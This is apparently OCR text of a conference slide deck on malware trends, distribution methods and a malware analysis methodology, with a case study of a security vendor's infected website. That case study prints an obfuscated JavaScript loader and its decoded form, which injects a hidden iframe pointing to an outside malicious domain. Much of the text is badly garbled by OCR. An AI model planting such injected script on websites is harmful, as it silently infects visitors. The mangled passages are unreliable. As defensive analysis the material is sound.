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Understanding The Malware Anatomy

The Dependent Peripher:




Malware Mess — Global Trifecta
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Cybercrooks Trick Gawker Into Serving Malware-Laced Ad Windows 7 Still Vulnerable to Viruses € Durr, Really? "% | GEEN ZIEK DOCHTERTIE
.. Cybercrooks Trick Gawker Into Serving Malware-Laced Ad. ... 19d rather voluntarily ... Anti-virus software vendor Sophoes tested Windows 7 s built-in anti-virus capabilities

install the malware then read that paragraph again. ... by feeding a clean system 10 pieces of the newest malware. ...

Trick or Tweet? Malware Abundant in Twitter URLs Digital Photo Frames and Other Gadgets Infected with Malware
AS many asone in_ every 500 “'?b addresses posted on T\‘:jﬁ?l‘ lead to sites hosting The SANS Internet Storm Center has been conducting an informal survey of commaercial
malware, according to researchers at Kasp! y Labs who have deployed a. ... gadgets that customers bought that contained already loaded malware on them ...
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New Malware Re-Writes Online Bank Statements to Cover Fraud Computer Malware the New €Weapon of Mass Destruction €

New malware being used by cybercrooks does more than let ha Ioot a bank account; ShEETEE R g

sy : P 1 s , W W ASS ges

it hides evidence of a victim's dwindling balance by rewriting online. Forget miiclear; a R theney weapor of ras: destrictinn
2 is computer malware and botnets, according to authors of a new report from. ...

New York Times Reforms Online Ad Sales After Malware Scam Lazy Hacker and Little Worm Set Off Cyberwar Frenzy
Threat Level Privacy, Crime and Security Online. New York Times Reforms Online
Ad Sales After Malware Scanl. ... Its the malware that is the problem. ...

... experts who examined code used in the attack say it appears to have been delivered
to machines through the MyDoom worm, a piece of malware first discoveredin ...

Malware Turns Software Compilers into Virus Breeders - - ;
LT el S Ot e Jessica Biel Tops Brad Pitt as Internet€s Most Dangerous Search

Turns Software Compilers into Virus Breeders. ... (Updated)

... Rihanna, to lure surfers searching for the latest stories, screen savers and ringtones
to sites offering free downloads laden with malware, % the statement ...

New ATM Malware Captures PINs and Cash € Updated
Security researchers have found malware planted on ATMs in Eastern Europe that captures

EIsandmagnenicstripe dat frim the maciines MmO At ... Apple®€s Snow Leopard Is Less Secure Than Windows, But Safer

) - . Windows users do. But they e stil safer, security experts agree, be
Storm worm botnet with over 1.7 million drones S e D A R e R PR AR hetattise

At the start of the year, it was Just a gentle breeze - now however, the storm wiorm has developed

I(ﬂt? a gznume temp?St Thed_botnet built up by th‘S WO hjS %’OWH tn\:{\;nc!(ude :I i m\HIOE drones Stormvirus verspreidt zich razendsnel via unieke SPAM-techniek
infected computers) according to security services provider SecureVWorks, wha state that
although the network has so far been primarily used to send spam, it could also be used for Het computervirus dat een dag na de dodelijke storm in Europa opdook, verspreidt zich razendsnel nggﬂ?g;g23531‘33&8&73;&,?222335fﬁ{sﬁi‘g95
DDoS attacks on businesses or even countries dankzij een vrij unieke SPAM-techniek. "De techniek wordt gebruikt om het virus te lanceren, maar Victims a fake anﬁ—vir}:uﬁmdnct A GaF oy oo WA TWAYe B S e,

blijft zeer goed verborgen voor de vele anti-virus zenders. Zij hebben de grootste moeite om zich te
According to security researcher Joe Stewart, between January and May of this year blijven wapenen tegen de aanvallen van het virus", zegt Eddy Willems, expert anti-virus technologie
Securetorks identified 71,342 attacks using the storm worm. Since June, howaver, the van beveiligingsspecialist NOXS. Hey Apple Kids! Now you can become the miserable slave of a botnet just
company has repelled 20,200,101 attacks. There has also been a dramatic increase in the like millions of PC drones
number of infected computers from which e-mail attacks were sent. YWhereas from the start of De trojan heeft verscheidene namen zoals Downloader-BAI (McAfee), TROJ_SMALL.EDW (Trend Micro) en VULNERABILITIES & MATWARE —Pirated Copies of iWork 0o Contain Trojan (((mmm, piratey —
the year to the end of May just under 3000 computers were infected, in June and July, the Trojan.Peacomm (Symantec). Het unieke van de techniek bestaat erin dat deze trojans massaal gespamd worden. yes, must click on the malware and download it at once, heaven. ...
number of drones increased to 1.7 milion. Secure\Works speculates that the botnet operator has Een worm daarentegen verspreidt enkel zichzelf. Willems raadt computergebruikers daarom om de anti-
bu”t SUCh a ‘arge nemOrk in Order to be ab‘e to mre it out to Other hackers or perform anacks virusprogramma's die geinstalleerd zijn op de computer, continu up te daten. "Zelfs meerdere keren per dag”, -

Hacker Launches Botnet Attack via P2P Software

aldus Willems. (SER)
.. The malware infection became commenly known as the Nugache Worm, which embedded
itself in the Windows 0S. ... He embedded that software downloads with his malware. ...

Hackers vallen fundament van het internet aan
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Cybercrimineel: een job voor de toekomst?

perfect mogei
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Mossad Hacked Syrian Official €@s Computer Before Bombing Mysterious

i i

. platge- g
s Facility
i Criminelen grijpen terug naar .. The official reportedl left his computer in his hotel room when he went out, making
kleinschalige aanvallen om it easy for agents to install the malware that siphoned files from the ...
deaandacht op zichzelf te
e i et aar uullc on:
¢ overvioed van gestolen data o T
Felinnen yerveson FBI Says € Money Mule€ Scams Now Top $100 Million

-.. ®However, FBI analysis has identified more than two dozen different pieces of malware
on thy ised account holders€ all ining key ...
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Malware Infection Rate
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Number of new malware threats detected per month in 2007 (grey) and 2008 (red).




Malware Retrospective and Classification

Top 5 Malware Categories

]

Top 5 Virus Families
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Malware - The Impact on Real World
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Malware Trends — The Attack Base

Financial Abuse and Mass ldentity Theft

The Mass Destructor — Botnet Infection and Zombietslo
Exploiting the Link Dependency — Pay Per click Hijang

Traffic Manipulation — Open Redirect VulnerabilitiasLarge Scale
Spywares , Crypto virology , Ransom ware etc

Distributed Denial of Service — The Service Deatim@a Extortion
Industry Change Semantics — Malware Activation Clealnge
Infection through Browsers and Portable Gadgete-Bilggest Step

Exploiting Anti Virus Loopholes




Malware Contributing Issues — Rising Steps

Publicly Available Malware Source Code

Malware Distribution Framework such MPACK , NeoSp#ic.

Unpatched Vulnerabilities and Loosely Coupled Patch

Demand of Underground Services and Self Exposure

Global Surveillance Mode and Information Stealinghie Wild

Software Discrepancies and Inherited Design Flaws sis Browsers.
Exploitation at Web Level is Easy as It open a DiodBystem Level Fallacies.
Inappropriate Security Solutions Deployed and évaht Security Paradigm
Botnet Infection — The Easy Way to Launch Diversifigtack

Web Sharing and Centralized Work Functionality.




Malware — Historical Achievements

1988 - a Cornell University graduate student nameldeR Morris released Morris Worm thereby halting entire
networks

1999 - David Smith of New Jersey wrote the Melissas/that replicated through e-mail and infectedidsoft
Word documents.

May 4, 2000 — Love You Code Came Out which was botlrus and worm

On July 19, 2001, the Code Red virus infected ntioa@ 20,000 systems within 10 minutes and more 2587000
systems in just under 9 hours.

2001 — SirCam worm spread out

Tuesday, September 18, 2001, Nimda worm infectedfaais of thousands of computers around the wosidgu
some of the most significant attack methods of Gede Il and Melissa.

2003 January - Slammer worm infected nearly 75,@00ess in 10 minutes. 2003 August - The worm Blaster
Welchia worm, Sobig, and their variants hit the tn&t with severe force.

2004 - MyDoom and other viruses plague the Interhahprecedented speeds.

The Recent Black Shot — Conflicker and its Variants.




Understanding The Vertical Risk

Web Delivered Malware Impact on Busin

Underground Market and Malware Flow Model




Underground Malware Market Business - Statistics




Practical Malware Flow Model

0% 4 35

# 0 # 463 3




Malware - The Impact on Real World




Malware — Sources of Infection

Web 2.0

Top 10 + Strategies of Distributing Malware through Web




Long Live Drive By Download — Base Web Malware Tac




Search Engine Optimization (SEO) — Driven with Malgva




Messengers — Infection at Instant State




Networking Websites — TWITTER Malware Infection

Exploiting the Trust Relationship on Social Networking Websites
Spreading Malware Content through Tweets , Scrapping etc

Chain Reaction — Dwells Very Fast in the context of Websitevbidis




Social Networking — FACEBOOK Malware Applications

Manipulating the Open API Calls
User Centric Control

Exploiting the Design Fallacies




Social Networking — FACEBOOK MAIL Infection

E—)




Online Media Content — You Tube, GoogleVideos etc !




Exploiting the Web of Trust — Human Touch




Spywares , Ransom Wares and other Variants etc.




Insidious Spamming — Email , Blogs , Redirectors etc

Subject: URGENT ASSISTANCE

From: 'ME.P. C. NICOLE' <¢rejzimail zom=>
Date: Sat, 24 Anz 2002 16:56:56

Te: comack@wheat uwaterloo.ca

EOOC Gav, L 8N ELWAKL MULETE JK. ChE 30D OT MT. LiKe

Radebe HULITE fram Iimbsbwe. I am scrry this meil

Vili SUrPTLIC ¥OU, TROUGA ¥C GO BOT LROW, L GOT YOUX CONIact
Thrcugh South an Chamber of Commsrce.

Tring “he ouTrern war zgAinar white fammers in
Iimrabwe aad the suppors of Fresiden: Kobert Mugabe Lo

Clain 411 he wh et Pl inoo

ErnLry Lo gain

Favir Lur re-eleciius, ALl while [asmers were cuked Lu
Surrender cheir farms o the govermment for
Sa—dimesdlbariom end infase to his polivicsl parmy
Yembers snd my Zather chough klack, was the treasury




Botnets — Malware Infection at Large Scale




Direct Malware Hosting — Infected Web Domains




System Stringency — Exploiting the Exceptions




Malware Kits — Automated Infection




Case Study — Safety Labs Malware Infection

Malware Infecting the Security Service Provider \&ieds.

It is unfortunate that even the Security Solutioavitler is also untouched by the latest Internet
IFRAME Threats or rather say Infections

Thousands of websites on internet have been comgedmnwith malicious Iframes which load exploit
code designed to silently install Trojans onto sps$ible victim computers.




Case Study — Safety Labs Malware Infection




Case Study — Safety Labs Malware Infection

BFUSCATED JAVA SCRIPT L
OBFUSC JAVA SC $% " " & $ &% &

J

<SCRIPT LANGUAGE=JAVA SCRIPT>

FUNCTION MDBAN(X){ VAR L=X.LENGTH,B=10241,J,R,P=0,5=0,w=0,T=ARRAY(63,9,52,47,48,11,7,35,
59,56,0,0,0,0,0,0,43,14,20,5,61,19,54,36,15,308322344,29,28,12,2,55,45,51,62,25,13,27,3,17,04.6,0,34,
0,58,40,31,60

,49,8,50,4,21,53,1,10,33,41,23,24,37,18,26,57 46392) FOR(I=MATH.CEIL(L/B);3>0;J--

W R=":FOR(I=MATH.MIN(L,B);1>0;1--,L--}{{ W

|=(T[X.CHARCODEAT (P++)-48])<<S;IF(S){ R+=STRING.FROMCHARCODE(221’"W&255);w>>=85-

=2}ELSH S=6}}} EVAL(R):}} MDBAN('ZT8M

VN@zT8UzFKNZY QY UVN8M9z3vVN @ 3D Q5Y TKCFZUNSPAXD C6AS8IN34AX0TI5SM9
QACOLUYD8c@UQUQA KuzSIYFI8I@2ZZ@ @ TESM&@FPN3ICXHGFKUSTZMDAX YLY 13PL8F3I8MVNSML
EODMxICGRAD

F@HCOLUYCX3UOR3Z2KXzLQY830I0LA5SCLX zIXAcD8uUzGwW5YJCEY2CcU@GISPXH@MTA8076rF2Y 8@FQ5
Y7@HD")<kCcRrIPT><!-- 213.219.250.100 -->




Case Study — Safety Labs Malware Infection

DEOBFUSCATEDJAVA SCRIPT

(1) DECODED JAVA SCRIPT EVALS()

WINDOW.STATUS = 'DONE';
DOCUMENT.WRITE('IFRAME NAME=5B8F SRC="HTTP://3PIGS.INFO/T/?' + MATH.ROUND(MATH.RANDOM() *
14490) + 'B8F' + " WIDTH=322HEIGHT=45 STYLE="DISPLAY:NONE "></IFRAME>")

(2) DECODED JAVA SCRIPT WRITES RESULT

<IFRAME NAME=5B8F SRG"HTTP ://3PIGS.INFO/T/?5896B8F" WIDTH=322HEIGHT=45 STYLE="DISPLAY:NONE ">

</IFRAME>
96+ : ]




The Truth - Internet Explorer — Malware’s Best Friend




2X Generation - Century Malware Trickeries
The Methods and Infection Strategies




System File Patching and Code Injection

Reverse Engineering Primary System Files

Blatantly Injecting Customized Code on Run time

System Files — Executables and Libraries are th@Mafection Surface

State Integrity is Maintained. Execution is Norrnad.

/
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Process A

Function (A)
Function (B)

/

E——

Infected Process
A

Function (A)
Function (B)

Function (M)
Malware

/




Code Interdependency — Malware Adjacency

Generically Process is termed as Code Resuscitation
Multiple Malware Exploitation — Single Event of Iidfigon. High Rate.

Component based Malware Infection. No Binding ire&xtion. Tracking and Monitoring.

Analyzing Self and Dependent Malware Componentsséhce
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Code Randomization, Obfuscation and Morphing

Complicating the Signature Matching and Signatuidilhg
Beating the Anti Viruses in their Own Game Theory
Code Obfuscation — Encryption , Tampering the SoQwée etc.

Code Morphing — Attacking Object Code and Machinadiaage State




Rootkits and System Cloaking

Undetectable Installation and Execution of Maligaode.
Hidden Programs Governing the Control and Workimgt€xt of Victim System
Attacking System Core in a Silent Way. InfectiorKatnel Level Primarily.

Rootkits use System Call Hooking — Redirecting Systall with Hooked Code

KtOpen

NtOpenkey —,'- Fmpy srizhi rootit

nt|HtO-EnKEg

=tring fd" (804=6chl)

T m— J :
EDEE-B4df EBaeaEf?ff l:all nt ! SEH prolog (8§04e2a92)




Exploiting Active X and JavaScript Heaps — Direcn@ol

Transference of Control from Browser ExploitationSystem Level
Spraying the code on JavaScript Heaps and Executivith Active X Handler
Unicode String Concatenation with Admissible Cusiad Shell code

Malware Utilizing this Technique to Exploit vulndxiaties at Web Level




Escaping What !




Inside MAM

Malware Analysis Methodolo




Malware Analysis Methodology (MAM)

Overview

This Methodology provide and efficient step of analyzing Malware and its dependent
Objects

Malware Information Gathering (MIG) — Peripheral Check
End Point Communicatic

Session Stream Analysis — Deep Inspection

Behavioral Analysis

Statistical Analysis
Reversing the Facets of Malware Binary




Malware Analysis Methodology (MAM)

Malware Information Gathering (MIG)

Generic Information Collection of Portable Execugabile used for Malware. Sample Collection.

String Pattern Matching — Search Engine Hackingdetting to the Source of Malware

* Malware Domain Names (Ex ru, cn etc) , Uniform ReselLocators (URL)
Extracting String Signature such as Awards, BardmB, Prize , Case, Dollar etc
Email Addresses used in Malware Executables

Strings using IP Addresses present in Malware

Strings using “Security” , “Credit Card”, “Hacked"etc for holistic Look Up

Any String that should be looked upon

Googling Around for filling more Malware InformatioDatabase
Malware Integrity check — The Identifier Scrutiny Aa@lyzing the Type of Packer Used.
Malware Capability and Efficiency to beat Anti Velrunctionality

Code Execution State Check




Malware Analysis Methodology (MAM)

End Point Communication
Connection State Check

* Communication Break ups within the end points.
» End Point communication flow and file transfer
» Resolved DNS Queries

Server Identity checks through communication medium
» Server Integrity Check by collecting InformatioAg mentioned in first Part)
Traffic Encryption used by Malware to in Packets
Types of Protocol are being used by a malware
Server’s Geo Location Check and DNS detail anafgsithe Tracing Sour

Error Generation like Checksum Integrity.
 Traffic Integrity Failure. Packet Data Loss.
» Error Analysis should be performed to scrutinize kalware Distribution flow Problems

Encrypted Data in packets.
» Packet Encryption Check — Implemented at Data LevdP Level , Malware Characteristic

Protocol Switching.
» Protocol Transference and Shifting Check duringtiRom flow.




Malware Analysis Methodology (MAM)

Session Stream Analysis — Deep Inspection

Analyzing TCP Stream Session

* Breaking Inside TCP Sessions — Looking into SuceesisFailure Components

* Client Server Exchange of Data specifically undéPTStream

» Context Analysis of Exchanged Data by Malware

* Following the Chain of TCP Analysis to get the GaleBcenario

» Connection Check with Different Resources and IDpendency Factor among them.

Extracting an Executable from the Raw data

» Main Functionality — Fetching the Executable Filedatly from Raw Data.

* Avoid Other Encoding Mechanisms — Prefer Raw Output

 Search for two byte header MZ ($4D5A in hex) whiggins at a certain
offset to trace the PE

Note : References should be made Appropriately thélBenchmarks




Malware Analysis Methodology (MAM)

Behavioral Analysis — Scrutinizing System Fallacies

Active Debugging

Black Box Testing Approach

» Monitoring Check -Scrutinizing Victim System (processes, connectregsstry)
* Network Traffic Capturing Start network capture in the host system (or hub)
* Initial System State IntegrityCapture initial status of the victim system

» Malware Execution in VMWARE- Run the malware for an amount of time in the vigyster

* Process Termination Controlerminate the process once the initial round is glate
* Final System State IntegrityGapture final status of the victim system

* Information Extraction Walk through the Collected information

* Analytical and Information Looping Restating the gathered information

(

\_
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Behavior — Ripping off Information by Analyzing Live Environment

Impacts

al

J

Windows

*FileMon
*RegMon
*TDIMon
*RegMon
*Task Mgr
*BinText

» TcpView

* UNIX/Linux

e/proc
*Top/ps

Lsof
«Strace/ltrace
*Strings
*Helios
*Wine

*Qmu




Malware Analysis Methodology (MAM)

Statistical Analysis — Reversing the Facets of Mabwva

Its all about analyzing the code of Malware

* Cryptographic Hash Value check for File Signature

* Portable Executable Identifier Analysis — PEID

* Virus Scanning — Dissecting the Hidden Code accomepanith Malware Executable
* Detecting the Packers - Peripheral check for Rev@oske Engineering

* Properties Enumeration of Malware Executable

* Portable Executable Characteristics and Formatyis

* Disassembling the Code




Case Study
Win 32 Root kit Downloader Class Malw:

Applying MAM - Dissecting PCAP




DNS Correspondence — Address Binding Check
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HTTP Debugging — Dissecting File Download Requests

% ! % &(&" &

*& ( +&(

2 %$ $ 0?20 )2 $ 3 . 0& &'




HTTP Debugging — Dissecting File Download Requests




TCP Session Stream — Restructuring the PE File
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Dual Behaviour Analysis — Ending at State (1)
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Dual Behaviour Analysis — Ending at State (2)
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Dual Behaviour Analysis — Ending at State (3)




Malicious GET and POST Request (1)




Malicious GET and POST Request (2)




Malicious GET and POST Request (3)




Malicious GET and POST Request (4)




Projected Infection — System Level




Demonstration



COSEINC
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Question ( ? ) and Queries (!)

Knowledge Sharing !
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More Resources and References
* http://pentestit.com/tag/analyze-malware/

 http://www.attackresearch.com

« http://www.microsoft.com

 http://www.trendmicro.com

* http://novirusthanks.org

 http://www.threatpost.com

* http://www.usenix.org

 http://www.zdnet.cotl

 http://www.mcafee.com

http://www.owasp.org

* http://www.symantec.com

* http://www.f-secure.com
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Special thanks to COSEINC for pushing me to do mesearch.

COSEINC is a Singapore based and privately fundetpany dedicated to providing highly specializedimation security
services to our clients. It is a young and dynaroimpany whose constitution are computer securpyeds, from diverse
backgrounds and geographies, with distinguishedktrials and experien:

http://www.coseinc.com

SyScan Security Conferencétp://www.syscan.org

Gracious Thanks to my Friend Rohit B (SCHAP) foarsing knowledge and collective working.



